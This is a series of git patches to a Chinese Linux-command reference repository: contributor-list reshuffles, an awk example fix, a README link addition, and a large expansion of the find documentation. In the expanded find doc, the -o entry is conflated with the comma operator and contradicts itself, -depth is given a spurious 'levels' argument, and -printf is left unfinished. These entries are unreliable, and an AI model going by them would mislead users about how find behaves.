+c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -360,7 +361,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -MinsonLee Marnm mwei Wang @@ -381,6 +381,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Herbert8 Guiying Li +FunKeen Frankie Divenire Derek @@ -390,7 +391,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -419,7 +419,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Mystic +Mystic +MinsonLee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 3454b8ac357293015980af0eaa077b151f71f202 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 03:03:27 +0000 Subject: [PATCH 367/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6cf5376ffa8..0b4ad636e1d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -46,12 +46,13 @@ BingCoke Ein Verne Pan, Wen-Ming -linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 +jqz3.tech +linuxwd Ricardowang cole myliwenbo @@ -59,8 +60,6 @@ noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -75,6 +74,8 @@ dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -106,7 +107,6 @@ shc sfwwslm rexlin600 -MinsonLee Marnm mwei Wang @@ -127,6 +127,7 @@ HighScorePlayer Herbert8 Guiying Li +FunKeen Frankie Divenire Derek @@ -136,7 +137,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -165,7 +165,8 @@ Rining Wu Ray Yee QinShower -Mystic +Mystic +MinsonLee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 0db6aa6243718b2ab3a7f76f02ffc41abcd71eca Mon Sep 17 00:00:00 2001 From: FunKeen <112614943+FunKeen@users.noreply.github.com> Date: Wed, 10 Jul 2024 21:30:56 +0800 Subject: [PATCH 368/570] doc: update command/awk.md (#590) --- command/awk.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/awk.md b/command/awk.md index 00145315da7..9a540cb3d81 100644 --- a/command/awk.md +++ b/command/awk.md @@ -371,7 +371,7 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt 当记录行号除以2余1，就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始，程序有开始判断`NR%2`值。这个时候记录行号是`：2` ，就会执行下面语句块：`'print NR,$0'` -分析发现需要将包含有“web”行进行跳过，然后需要将内容与下面行合并为一行： +跳过以“web”为首的行，再将该行内容分别与下面不以“web”为首的行合并打印，使用一个“：”和一个制表符连接： ```shell cat text.txt @@ -386,7 +386,7 @@ web03[192.168.2.102] mysqld ok httpd ok 0 -awk '/^web/{T=$0;next;}{print T":"t,$0;}' text.txt +awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt web01[192.168.2.100]: httpd ok web01[192.168.2.100]: tomcat ok web01[192.168.2.100]: sendmail ok From d8438272b0bf5913a260a28822566583c8f4c1e7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 13:31:41 +0000 Subject: [PATCH 369/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0f8d193c9ee..6da01a1f3e1 100644 --- a/README.md +++ b/README.md @@ -361,6 +361,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +MinsonLee Marnm mwei Wang @@ -381,7 +382,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Herbert8 Guiying Li -FunKeen Frankie Divenire Derek @@ -391,6 +391,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +c2ch brinkqiang bell azureology @@ -419,8 +420,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Mystic -MinsonLee +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 7553e4f483b86a1c6d9e1ae09f82750d663d2da7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 13:31:42 +0000 Subject: [PATCH 370/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0b4ad636e1d..b92b768b4ce 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -107,6 +107,7 @@ shc sfwwslm rexlin600 +MinsonLee Marnm mwei Wang @@ -127,7 +128,6 @@ HighScorePlayer Herbert8 Guiying Li -FunKeen Frankie Divenire Derek @@ -137,6 +137,7 @@ Azroy Alan 0x_000 +c2ch brinkqiang bell azureology @@ -165,8 +166,7 @@ Rining Wu Ray Yee QinShower -Mystic -MinsonLee +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From f9de3eb62156ead712f9d852deb556132e00bdc3 Mon Sep 17 00:00:00 2001 From: "Q.Ben Zheng" <40693636+Zhengqbbb@users.noreply.github.com> Date: Thu, 11 Jul 2024 09:33:42 +0800 Subject: [PATCH 371/570] docs: add X-CMD social website (#591) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6da01a1f3e1..bc9f51e9048 100644 --- a/README.md +++ b/README.md @@ -191,6 +191,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布，Linux职业技术学习！。 +- [X-CMD](https://www.x-cmd.com/) - Shell + AWK 为核心增强原生命令输出以及交互体验，各种命令以及现代化软件包的介绍和使用教程，每日科技新闻资讯，欢迎浏览关注！ ### 知识相关 From f686028a0f260eba0101fce5cbeb7b80cd75c9fc Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jul 2024 01:34:27 +0000 Subject: [PATCH 372/570] doc: update README.md. --- README.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index bc9f51e9048..2c50f0cc271 100644 --- a/README.md +++ b/README.md @@ -290,23 +290,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. xhal VVatt gggwvg -Dazhuangw -Alterem -YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD BingCoke Ein Verne +FunKeen Pan, Wen-Ming -lewis1573 -leo -kid1412621 -kassadin +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE +Dazhuangw +Alterem +YH juemuren4449 -jqz3.tech +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -315,6 +315,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver +Yidan Wang +jqz3.tech jcdj666 hululu1068 huangyao @@ -329,8 +331,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -c2ch -Yidan Wang Panthea Johnson 远方 谢民皆 From 071e0c0aa1535c828b42ba71b5933e698035a7cb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jul 2024 01:34:29 +0000 Subject: [PATCH 373/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b92b768b4ce..c4c13664ab2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,23 +35,23 @@ xhal VVatt gggwvg -Dazhuangw -Alterem -YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD BingCoke Ein Verne +FunKeen Pan, Wen-Ming -lewis1573 -leo -kid1412621 -kassadin +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE +Dazhuangw +Alterem +YH juemuren4449 -jqz3.tech +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -60,6 +60,8 @@ noodles2hg nsnans oliver +Yidan Wang +jqz3.tech jcdj666 hululu1068 huangyao @@ -74,8 +76,6 @@ dayday cxalc Forever121 -c2ch -Yidan Wang Panthea Johnson 远方 谢民皆 From e479f15adfb16f08b5f0c8e6cd09dcd65eef1cd3 Mon Sep 17 00:00:00 2001 From: hotdogc1017 Date: Mon, 15 Jul 2024 10:19:49 +0800 Subject: [PATCH 374/570] =?UTF-8?q?docs(find=E5=91=BD=E4=BB=A4):=20?= =?UTF-8?q?=E6=8B=93=E5=B1=95`find`=E5=91=BD=E4=BB=A4=E6=8F=8F=E8=BF=B0?= =?UTF-8?q?=E4=BB=A5=E5=8F=8A=E8=A1=A5=E5=85=85=E9=A2=9D=E5=A4=96=E7=9A=84?= =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=E9=80=89=E9=A1=B9=20(#593)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/find.md | 399 ++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 369 insertions(+), 30 deletions(-) diff --git a/command/find.md b/command/find.md index d6c5521366b..96612ab8420 100644 --- a/command/find.md +++ b/command/find.md @@ -3,18 +3,43 @@ find 在指定目录下查找文件 +## 解释 + +从每个指定的起始点 (目录) 开始，搜索以该点为根的目录树，并按照运算符优先级规则**从左至右**评估给定的表达式，直到结果确定，此时`find`会继续处理下一个文件名。 + ## 补充说明 -**find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时，不设置任何参数，则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。 +本文列出的选项指的是**表达式列表中的选项**。这些选项控制了`find`的行为，需在**最后一个路径名之后**立即指定。 -### 语法 +五个真实选项: `-H、-L、-P、-D 和 -O`。如果出现，**必须位于第一个路径名之前**。关于这部分内容本文不做描述，具体内容可参考[man7.org中的find](https://man7.org/linux/man-pages/man1/find.1.html#top_of_page) +如果使用该命令时，不设置任何参数，则`find`命令将在当前目录下查找子目录与文件，并且将查找到的子目录和文件全部进行显示。等效于以下命令: ```shell -find(选项)(参数) +find . -print ``` -### 选项 +## 语法 + +```shell +find [-H] [-L] [-P] [-D debugopts] [-Olevel] [起始点...] [表达式] +``` +忽略真实选项后 (更为常见): +```shell +find [起始点...] [表达式] +``` + +## 表达式分类 +起始点（列表）之后的部分是表达式。这是一种**查询规范**，描述了我们如何匹配文件（返回**真**或者**假**）以及对匹配到的文件进行何种操作。表达式由一系列元素组成： +- 测试（Tests）：测试返回一个真或假值，通常基于我们正在考虑的文件的某个属性。例如，`-empty`测试仅在当前文件为空时为真。 +- 操作（Actions）：操作具有副作用（例如在标准输出上打印内容），并返回真或假，通常基于它们是否成功。例如，`-print`操作会在标准输出上打印当前文件的名称。 +- 全局（Global）：全局选项影响命令行中任何部分指定的测试和操作的执行。全局选项始终返回真值。例如，`-depth`选项使find以深度优先的顺序遍历文件系统。 +- 位置（Positional）：位置选项仅影响其后的测试或操作。位置选项始终返回真值。例如，`-regextype`选项是位置选项，用于指定命令行中后续正则表达式所使用的正则表达式方言。 +- 操作符（Operators）：运算符将表达式中的其他项连接起来。例如，它们包括`-o`（表示逻辑或）和`-a`（表示逻辑与）。如果缺少运算符，则默认使用`-a`。 + +## 表达式选项 + +### 测试选项 ```shell -amin<分钟>：查找在指定时间曾被存取过的文件或目录，单位以分钟计算； -anewer<参考文件或目录>：查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录； @@ -22,65 +47,379 @@ find(选项)(参数) -cmin<分钟>：查找在指定时间之时被更改过的文件或目录； -cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录； -ctime<24小时数>：查找在指定时间之时被更改的文件或目录，单位以24小时计算； --daystart：从本日开始计算时间； --depth：从指定目录下最深层的子目录开始查找； -empty：寻找文件大小为0 Byte的文件，或目录下没有任何子目录或文件的空目录； --exec<执行指令>：假设find指令的回传值为True，就执行该指令； +-executable 匹配当前用户可执行的文件和可搜索的目录。 -false：将find指令的回传值皆设为False； --fls<列表文件>：此参数的效果和指定“-ls”参数类似，但会把结果保存为指定的列表文件； --follow：排除符号连接； --fprint<列表文件>：此参数的效果和指定“-print”参数类似，但会把结果保存成指定的列表文件； --fprint0<列表文件>：此参数的效果和指定“-print0”参数类似，但会把结果保存成指定的列表文件； --fprintf<列表文件><输出格式>：此参数的效果和指定“-printf”参数类似，但会把结果保存成指定的列表文件； -fstype<文件系统类型>：只寻找该文件系统类型下的文件或目录； -gid<群组识别码>：查找符合指定之群组识别码的文件或目录； -group<群组名称>：查找符合指定之群组名称的文件或目录； --help或--help：在线帮助； -ilname<范本样式>：此参数的效果和指定“-lname”参数类似，但忽略字符大小写的差别； -iname<范本样式>：此参数的效果和指定“-name”参数类似，但忽略字符大小写的差别； -inum：查找符合指定的inode编号的文件或目录； -ipath<范本样式>：此参数的效果和指定“-path”参数类似，但忽略字符大小写的差别； -iregex<范本样式>：此参数的效果和指定“-regexe”参数类似，但忽略字符大小写的差别； +-iwholename 模式参见`-ipath`。此选项的可移植性较`-ipath`差。 -links<连接数目>：查找符合指定的硬连接数目的文件或目录； -lname<范本样式>：指定字符串作为寻找符号连接的范本样式； --ls：假设find指令的回传值为True，就将文件或目录名称列出到标准输出； --maxdepth<目录层级>：设置最大目录层级； --mindepth<目录层级>：设置最小目录层级； -mmin<分钟>：查找在指定时间曾被更改过的文件或目录，单位以分钟计算； --mount：此参数的效果和指定“-xdev”相同； -mtime<24小时数>：查找在指定时间曾被更改过的文件或目录，单位以24小时计算； -name<范本样式>：指定字符串作为寻找文件或目录的范本样式； -newer<参考文件或目录>：查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录； +-newerXY<引用>：如果正在考虑的文件的时间戳 X 比文件引用的时间戳 Y 更新则成功。 -nogroup：找出不属于本地主机群组识别码的文件或目录； --noleaf：不去考虑目录至少需拥有两个硬连接存在； -nouser：找出不属于本地主机用户识别码的文件或目录； --ok<执行指令>：此参数的效果和指定“-exec”类似，但在执行指令之前会先询问用户，若回答“y”或“Y”，则放弃执行命令； -path<范本样式>：指定字符串作为寻找目录的范本样式； -perm<权限数值>：查找符合指定的权限数值的文件或目录； --print：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； --print0：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； --printf<输出格式>：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式可以自行指定； --prune：不寻找字符串作为寻找文件或目录的范本样式; +-readable：匹配当前用户可读的文件 -regex<范本样式>：指定字符串作为寻找文件或目录的范本样式； +-samefile 名称 文件与名称指向相同的 inode。 -size<文件大小>：查找符合指定的文件大小的文件； --true：将find指令的回传值皆设为True； -type<文件类型>：只寻找符合指定的文件类型的文件； -uid<用户识别码>：查找符合指定的用户识别码的文件或目录； -used<日数>：查找文件或目录被更改之后在指定时间曾被存取过的文件或目录，单位以日计算； -user<拥有者名称>：查找符和指定的拥有者名称的文件或目录； --version或——version：显示版本信息； --xdev：将范围局限在先行的文件系统中； +-writable：匹配当前用户可写入的文件。 -xtype<文件类型>：此参数的效果和指定“-type”参数类似，差别在于它针对符号连接检查。 +-context<表达式>：仅限 SELinux。文件的安全上下文与全局模式匹配 ``` -### 参数 +### 操作选项 + +#### -delete 删除文件或目录。 +> :warning:警告：find 命令会将命令行作为表达式进行解析，因此将`-delete`放在首位会将指定的起始点下的**所有内容删除**。且`-delete`操作无法删除一个目录，除非它是空的。 + +##### *无参数* + +##### 描述 +如果删除成功则返回真。若删除失败，将显示错误消息，并且 find 最终退出时的状态码将为非零。 + +##### 相关选项 +- **-depth**：在命令行中使用`-delete`操作会自动启用`-depth`选项。为了避免意外情况，通常最好在早期的**Tests选项**中**明确使用**`-depth`选项。 +- **-prune**：由于`-depth`会使`-prune`失效，因此`-delete`操作无法与`-prune`有效结合使用。通常，用户可能希望在实际删除操作前，先用带有`-print`的查找命令行进行测试，以确保在添加`-delete`进行实际删除时不会出现意外结果。 +- **-ignore_readdir_race**：`-delete`与此选项一起使用时，find 会忽略自父目录读取以来文件已消失的情况下`-delete`操作的错误：它不会输出错误诊断，不会将退出代码更改为非零，并且`-delete`操作的返回代码将为真。 + +#### -exec 执行命令 + +> :warning:警告：使用`-exec`操作存在不可避免的安全问题，应改用`-execdir`选项。 + +##### 参数 +`command ;` 或 `command {} +` + +##### 描述 +如果返回状态为 0，则结果为真。**注意**：find 命令会将**所有后续参数**视为`command`的参数，直到遇到包含`;`的参数为止。字符串`{}`会在`command`的参数中所有出现的位置被替换为当前正在处理的文件名，而不仅仅是在它单独出现的参数中，这与某些版本的 find 不同。这两种结构可能需要使用反斜杠`\`或引号来转义，以防止被 shell 扩展。指定的命令会为每个匹配的文件运行一次。命令在起始目录中执行。 + +#### -execdir 在包含匹配文件的子目录中执行命令 + +##### 参数 +`command ;` | `command {} +` + +##### 描述 +类似于`-exec`，但指定的`command`会在包含匹配文件的**子目录中运行**，而非find的起始点目录。与`-exec`一样，如果从shell调用find，`{}`应加引号。这是一种更安全的调用`command`方式，因为它避免了在解析匹配文件路径时出现的竞争条件。与`-exec`操作类似，`+`形式的`-execdir`会构建一个命令行来处理多个匹配文件，但任何给定的`command`调用只会列出存在于同一子目录中的文件。如果使用此选项，必须确保 PATH 环境变量未引用`.`，否则攻击者可以通过在您将运行`-execdir`的目录中留下一个适当命名的文件来运行任何命令。同样，PATH 中的条目**不应为空**或**非绝对目录名**。如果使用`+`形式的任何调用以非零值作为退出状态返回，则 find 也会返回非零退出状态。如果 find 遇到错误，有时会导致立即退出，**因此某些待处理的command可能根本不会运行**。 操作结果取决于使用的是`+`还是`;`变体。`-execdir command {} + `总是返回真，而 `-execdir command {} ;`仅在命令返回 0 时返回真。 + +#### -fls 创建文件并将结果写入文件 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。`-fls`类似于`-ls`和`-fprint`，但`-fls`会将结果写入文件中。无论谓词是否匹配，输出文件始终会被创建。有关文件名中特殊字符处理的信息，请参阅“特殊文件名处理”部分。 + +#### -fprint 将完整文件名打印到指定文件中 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。若运行 find 时`file`不存在，则创建该`file`；若`file`已存在，则截断其内容。文件名`/dev/stdout`和`/dev/stderr`有特殊处理，分别指向标准输出和标准错误输出。即使谓词从未匹配，输出文件也会始终创建。 + +#### -fprint0 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-print0`，但将输出写入文件；类似于`-fprint`。即使谓词从未匹配，输出文件也始终会被创建。 + +#### -fprintf + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-printf`，但将输出写入文件；类似于`-fprint`，即使谓词从未匹配，输出文件也会始终创建。 + +#### -ls 列出当前文件并输出到标准输出 + +##### *无参数* + +##### 描述 +此选项始终返回真。以`ls -dils`格式列出当前文件并输出到标准输出。块计数为 1 KB 块，除非设置了环境变量 POSIXLY_CORRECT，此时使用 512 字节块。 + +#### -ok 执行命令前询问用户 + +##### 参数 +`command ;` + +##### 描述 +类似于`-exec`，但首先会询问用户。如果用户同意，则运行该命令；否则仅返回 false。若运行该命令，其标准输入将被重定向至`/dev/null`。对提示的响应会与一对正则表达式进行匹配，以确定其为肯定或否定回答。若设置POSIXLY_CORRECT 环境变量，则该正则表达式从系统获取；否则，从 find 的消息翻译中获取。如果系统没有合适的定义，将使用 find 自身的定义。无论哪种情况，正则表达式本身的解释都会受到环境变量 LC_CTYPE（字符类）和 LC_COLLATE（字符范围和等价类）的影响。 + +##### 相关选项 +- **-files0-from**：不能与`-ok`同时指定。 + +#### -okdir + +##### 参数 +`command ;` + +##### 描述 +类似于`-execdir`，但在执行前会以与`-ok`相同的方式询问用户。如果用户不同意，则直接返回 false。如果命令被执行，其标准输入将从`/dev/null`重定向。 + +##### 相关选项 +- **-files0-from**：不能与`-okdir`同时指定。 + +#### -print 打印完整文件名，后跟一个换行符 + +##### *无参数* + +##### 描述 +此选项始终返回真。如果你将 find 的输出通过管道传输到另一个程序，并且你正在搜索的文件可能包含换行符，那么应该考虑使用`-print0`而不是`-print`。 + +#### -print0 打印完整文件名，后跟一个空字符 + +##### *无参数* + +##### 描述 +此选项始终返回真。包含换行符或其他类型空白字符的文件名能被正确解析，以便处理 find 输出的程序能正确理解。此选项对应于`xargs`的`-0`选项。 + +#### -printf 打印格式 + +##### 参数 +`format` + +可用的转义字符和指令包括： +- \a 警报。 +- \b 退格键。 +- \c 立即停止打印并清空输出。 +- \f 换页。 +- \n 换行。 +- \r 回车符。 +- \t 水平制表符。 +- \v 垂直制表符。 +- \0 空字符。 +- \\\ 一个字面的反斜杠`\`。 +- \NNN 字符，其 ASCII 码为 NNN（八进制）。 +- A 一个反斜杠字符`\`后跟任何其他字符，都会被视为普通字符，因此它们都会被打印出来。 +- %% 一个字面的百分号。 +- %a 文件的最后访问时间，格式为 C 语言 ctime(3)函数返回的样式。 + .....更多内容待补充 + +##### 描述 +*暂无* + +#### -prune 如果文件是目录，则不进入该目录 + +##### *无参数* + +##### 描述 +此选项始终返回真。 + +##### 相关选项 +- **-depth**：如果指定了`-depth`，那么`-prune`将无效。 +- **-delete**：因为`-delete`隐含了`-depth`，所以不能有效地同时使用两者。 + +#### -quit 立即退出 + +##### *无参数* + +##### 描述 +如果没有发生错误，则返回值为零。这与`-prune `不同，因为`-prune`仅适用于被修剪目录的内容，而`-quit`则使 find 立即停止。不会有任何子进程继续运行。在程序退出之前，任何通过`-exec ... +`或`-execdir ... +`构建的命令行都会被调用。执行`-quit`后，命令行中指定的文件将不再被处理。例如，`find /tmp/foo /tmp/bar -print -quit`将仅打印 `/tmp/foo`。`-quit`的一个常见用途是在找到所需内容后停止搜索文件系统。 + +### 全局选项 +始终返回真值。全局选项对命令行中较早出现的测试也会生效。为避免混淆，全局选项应在命令行上列出**起始点之后、第一个测试选项、位置选项或操作选项之前指定**。若在其他位置指定全局选项，find 会发出警告消息，说明这可能引起混淆。 + +> 全局选项出现在起始点列表之后，因此与例如`-L` 这样的选项不属于同一类别。 + +#### -d `-depth`的同义词 + +##### *无参数* + +##### 描述 +仅用于与 FreeBSD、NetBSD、MacOS X 和 OpenBSD 兼容。 + +#### -depth 遍历级别 + +##### 参数 +`levels` + +##### 描述 +在处理目录本身之前，先处理目录中的内容。`-delete`操作也隐含了`-depth`。 + +#### -files0-from 从文件中读取起始点，而非通过命令行获取。 + +##### 参数 +`file` + +##### 描述 + +使用此选项可以安全地给 find 命令传递任意数量的起始点。使用此选项和在命令行中传递起始点**是互斥的**，因此不允许同时进行。文件参数是强制性的。文件中的起始点必须用 ASCII NUL 字符分隔。两个连续的 NUL 字符，即带有零长度文件名的起始点是不允许的，这将导致错误诊断，并随后产生非零退出码。 + +与标准调用不同，在标准调用中，如果没有传递路径参数，find 会默认将当前目录作为起始点。起始点的处理方式与其他情况相同，例如，find 命令会递归进入子目录，除非另有阻止。若要仅处理起始点，可以额外传递`-maxdepth 0`参数。 + +**其他说明**：如果一个文件在输入文件中被列出多次，则其是否会被多次访问未作规定。如果在查找操作期间文件被修改，结果同样未作规定。最后，find 退出时（无论是通过`-quit`还是其他方式），命名文件中的查找位置也未作规定。此处**未作规定**意味着它**可能有效也可能无效**，**或者不做任何特定的事情**，并且该行为可能因平台或 findutils 版本而异。 + +> :bulb:可以使用`-files0-from`**从标准输入流中读取起始点列表**，例如从管道中读取。在这种情况下，不允许使用`-ok`和`-okdir`操作，因为它们会干扰从标准输入读取以获取用户确认。 + +> :warning:警告：如果给定文件为空，find 不会处理任何起始点，因此在解析完程序参数后会立即退出。 + +#### -help 和 --help 打印 find 命令行用法的摘要并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -ignore_readdir_race + +##### *无参数* + +##### 描述 +通常情况下，当 find 无法对文件进行状态检查（stat）时，会发出错误消息。如果您**启用此选项**，并且在 find 从目录读取文件名，到尝试进行状态检查**之间的时间内文件被删除**，则不会发出任何错误消息。这也适用于命令行中指定的文件或目录。此选项在命令行读取时生效，这意味着您不能在文件系统的某部分启用此选项，而在另一部分禁用它（如果需要这样做，您需要发出两个 find 命令，一个启用选项，一个不启用）。此外，使用`-ignore_readdir_race`选项时，如果在读取父目录后文件已消失，find 命令将忽略`-delete`操作的错误：它不会输出错误诊断信息，并且`-delete`操作的返回码将为真。 + +#### -maxdepth 最大遍历级别 + +##### 参数 +`levels` + +##### 描述 +最多向下遍历 levels 级（一个非负整数）目录层级。使用`-maxdepth 0`表示**仅对起始点本身**应用测试和操作。 + +#### -mindepth 最小遍历级别 + +##### 参数 +`levels` + +##### 描述 +在小于指定级别（非负整数）的层级上不执行任何测试或操作。使用`-mindepth 1`表示处理**除起始点外的所有文件**。 + +#### -mount 不在其他文件系统中下降目录 + +##### *无参数* + +##### 描述 +这是`-xdev`的替代名称，用于与其他一些版本的 find 兼容。 + +#### -noignore_readdir_race + +##### *无参数* + +##### 描述 +关闭了`-ignore_readdir_race`的效果。 + +#### -noleaf 不进行优化。 + +##### *无参数* + +##### 描述 +不通过假设目录包含比其硬链接数少 2 个子目录来进行优化。在搜索不遵循 Unix 目录链接惯例的文件系统时，需要此选项，例如 CD-ROM、MS-DOS 文件系统或 AFS 卷挂载点。在正常的 Unix 文件系统上，每个目录至少有 2 个硬链接：其名称及其`.`条目。此外，其子目录（如果有）各自有一个指向该目录的`..`条目。当 find 检查一个目录时，在它已经统计了比目录链接数少 2 个子目录之后，它知道该目录中的其余条目是非目录（目录树中的“叶”文件）。如果只需要检查文件的名称，则无需对其进行状态检查；这可以显著提高搜索速度。 + +#### -version 和 --version 打印 find 的版本号并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -xdev 不进入其他文件系统的目录。 + +##### *无参数* + +##### 描述 +*无描述* + +### 位置选项 +始终返回真值。它们仅影响命令行中后续的测试。 + +#### -daystart 从今天开始 + +> 用于 `-amin`、`-atime`、`-cmin`、`-ctime`、`-mmin` 和 `-mtime` + +##### *无参数* + +##### 描述 +从今天开始而非从 24 小时前开始。此选项仅影响命令行中后续出现的测试。 + +#### ~~-follow~~ 解引用符号链接。 + +##### *无参数* + +##### 描述 +**已弃用，请改用`-L`选项**。隐含`-noleaf`。`-follow`选项仅影响命令行中出现在其后的那些测试。除非已指定`-H`或`-L`选项，否则`-follow`选项的位置会改变`-newer`谓词的行为；作为`-newer`参数列出的任何文件，如果它们是符号链接，则会被解引用。同样的情况适用于`-newerXY`、`-anewer`和`-cnewer`。类似地，`-type `谓词将始终匹配符号链接所指向的文件类型，而非链接本身。使用`-follow`会导致 `-lname`和`-ilname`谓词始终返回 false。 + +#### -regextype 更改正则表达式语法 + +##### 参数 +`type` + +##### 描述 +更改`-regex`和`-iregex`测试在命令行后续部分所理解的正则表达式语法。要查看已知的正则表达式类型，请使用`-regextype help`。Texinfo 文档解释了各种正则表达式类型的含义及其差异。如果您不使用此选项，find 的行为如同已指定正则表达式类型为`emacs`。 + +#### -warn 和 -nowarn 开启或关闭警告消息。 + +##### *无参数* + +##### 描述 +这些警告仅适用于命令行使用，不适用于 find 在搜索目录时可能遇到的情况。默认行为是：如果标准输入是`tty`，则对应`-warn`；否则对应`-nowarn`。如果产生与命令行使用相关的警告消息，find 的退出状态不受影响。如果设置了 POSIXLY_CORRECT 环境变量，并且也使用了`-warn`，则未指定哪些（如果有）警告会被激活。 + +### 运算符选项 +运算符按优先级递减顺序列出： +- `(expr)` 强制优先级。由于括号对 shell 有特殊含义，通常需要对它们进行引用。许多示例为此使用了反斜杠：`\(...\)` 而非 `(...)`。 +- `! expr` 若表达式为假则结果为真（取反）。此字符通常也需要防止被 shell 解释。 + +> :bulb:提示：当`-a`隐式指定（例如两个测试之间没有显式运算符）或显式指定时，其优先级高于`-o`。例如，`find . -name foo -o -name bar -print`永远不会打印`foo`。 + +#### -not + +##### 参数 +`expr` + +##### 描述 +等同于`! expr`，但不符合 POSIX 标准。 + +#### -a + +##### 参数 +`expr1` -a `expr2` + +##### 描述 +两个连续的表达式被视为隐含地用`-a`连接；如果`expr1`为假，则不评估`expr2`。等同于`expr1 expr2`。 + +#### -and + +##### 参数 +`expr1` -and `expr2` + +##### 描述 +与`-a`相同。但不符合 POSIX 标准。 + +#### -o + +##### 参数 +`expr1` -o `expr2` + +##### 描述 +`expr1`和`expr2`始终都会被评估。`expr1`的值会被丢弃；列表的值即为`expr2`的值。逗号运算符（`,`）在搜索多种不同类型的事物时非常有用，但只会遍历文件系统层次结构一次。`-fprintf`动作可用于将各种匹配项列出到多个不同的输出文件中。若`expr1`为真，则不评估`expr2`。 +#### -or + +##### 参数 +`expr1` -or `expr2` -起始目录：查找文件的起始目录。 +##### 描述 +与`-o`相同。但不符合 POSIX 标准。 -### 实例 +## 例子 +当前目录搜索所有文件，且文件内容包含 “140.206.111.111” ```shell -# 